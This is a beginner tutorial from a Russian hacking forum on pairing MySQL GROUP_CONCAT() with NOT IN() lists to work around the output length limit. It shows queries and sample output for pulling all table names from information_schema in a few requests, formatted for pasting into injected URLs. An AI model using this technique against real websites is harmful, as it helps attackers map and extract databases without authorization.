Форум АНТИЧАТ - Использование GROUP

Использование GROUP_CONCAT() + NOT IN () [MySQL]

03.05.2009, 10:02

[x26]VOLAND

Moderator - Level 7

Регистрация: 07.06.2006

Сообщений: 556

Провел на форуме:
7549607

Репутация: 2702

Отправить сообщение для [x26]VOLAND с помощью ICQ

Отправить сообщение для [x26]VOLAND с помощью AIM

Использование GROUP_CONCAT() + NOT IN () [MySQL]

Использование GROUP_CONCAT() + NOT IN () [MySQL]

(Предназначено прежде всего для новичков).
Многие привыкли использовать функцию GROUP_CONCAT() которая объединяет несколько возвращаемых запией в одну. Это позволяет быстро получить нужные данные в случаях, если скрипт отображает только один результат.
Но из-за ограничения group_concat_max_len (по умолчанию - 1024) при больших объёмах данных польза данной функции стремится к нулю, так как при превышении данного лимита результирующая строка обрезается.

Существует выход из данной ситуации.
В MySQL (и не только) есть такая конструкция, как NOT IN () (которая, кстати, нередко применяется при атаке на MSSQL). Примерный синтаксис:

PHP код:


		
			
expression NOT IN ('value1' [, 'value2', ...])

Данное выражение возвращает 1 (истина), если expression НЕ равно ни одному из значений, перечисленных в скобках (value).
Таким образом, путём подстановки этой конструкции в условие WHERE мы можем исключить уже полученные с помощью GROUP_CONCAT() данные, таким образом получив ранее недоступные записи, которые не умещались в предел group_concat_max_len.

Рассмотрим на конкретном примере.
Я использовал предел group_concat_max_len в ~340 символов вместо 1024 (принципиальной разницы нет).

Запрос

PHP код:


		
			
SELECT

    GROUP_CONCAT(`table_name`)

FROM

    `information_schema`.`tables`

как и ожидается, выводит не все записи:

Код:

CHARACTER_SETS,
COLLATIONS,
COLLATION_CHARACTER_SET_APPLICABILITY,
COLUMNS,
COLUMN_PRIVILEGES,
KEY_COLUMN_USAGE,
PROFILING,
ROUTINES,
SCHEMATA,
SCHEMA_PRIVILEGES
STATISTICS,
TABLES,
TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,TRIGGERS,
USER_PRIVILEGES,
VIEWS,
_table_1,
_table_2,
_table_3,
_table_4,
_table_5,
_table_6,
_table_7,
_table_8

Необходимо занести все полученные строки в NOT IN ():

PHP код:


		
			
SELECT

    GROUP_CONCAT(`table_name`)

FROM

    `information_schema`.`tables`

WHERE

    `table_name` NOT IN ('CHARACTER_SETS', 'COLLATIONS', 'COLLATION_CHARACTER_SET_APPLICABILITY', 'COLUMNS', 'COLUMN_PRIVILEGES', 'KEY_COLUMN_USAGE', 'PROFILING', 'ROUTINES', 'SCHEMATA', 'SCHEMA_PRIVILEGES', 'STATISTICS', 'TABLES', 'TABLE_CONSTRAINTS', 'TABLE_PRIVILEGES', 'TRIGGERS', 'USER_PRIVILEGES', 'VIEWS', '_table_1', '_table_2', '_table_3', '_table_4', '_table_5', '_table_6', '_table_7', '_table_8')

Этот запрос вернёт список последующих таблиц (так как предыдущие были исключены):

Код:

_table_9,
_table_10,
_table_11,
_table_12,
....
_table_30,

Для получения следующей порции записей, необходимо исключить вышеприведённые имена таблиц, то есть добавить к уже существующему списку.
К этому и сводится принцип данного метода.

----------------------------------------------------------------------------------

Примечания:
+ Одним из неудобств данного метода является необходимость в рутинной операции форматирования полученных записей для подстановки в список NOT IN ()
Но эту задачу можно возложить на MySQL, немного модифицировав целевой запрос:

PHP код:


		
			
SELECT

    GROUP_CONCAT(CONCAT(0x27, `table_name`, 0x27) SEPARATOR ',+')

FROM

    `information_schema`.`tables`

Данный запрос вернёт уже отформатированную последовательность (с кавычками и эквивалентами пробелов "+"), готовую для подстановки в список исключения и пересылки по HTTP (остаётся только подставить в URL):

Код:

'CHARACTER_SETS',+'COLLATIONS',+'COLLATION_CHARACTER_SET_APPLICABILITY',+'COLUMNS',+'COLUMN_PRIVILEGES',+'KEY_COLUMN_USAGE',+'PROFILING',+'ROUTINES',+'SCHEMATA',+'SCHEMA_PRIVILEGES',+'STATISTICS',+'TABLES',+'TABLE_CONSTRAINTS',+'TABLE_PRIVILEGES',+'TRIGGERS',+'USER_PRIVILEGES',+'VIEWS',+'aaaaa',+'bbbbb',+'cccccc',+'ddddd',+'eeeeee',+'fffffff',+'gggggg',+'hhhhhh'

+ При получении имён таблиц можно исключать существующие по умолчанию таблицы из information_schema путём подстановки условия:

PHP код:


		
			
AND `table_schema` <> 'information_schema'

что ещё больше сэкономит время.

----------------------------------------------------------------------------------

Плюсы:
+ В разы уменьшается количество запросов к сайту (имена всех таблиц в большинстве случаев можно получить 2-3 запросами).

Минусы:
- При очень длинных запросах есть вероятность превысить максимальный предел длины URI-строки, в результате чего она обрежется, что породит ошибку синтаксиса MySQL.

----------------------------------------------------------------------------------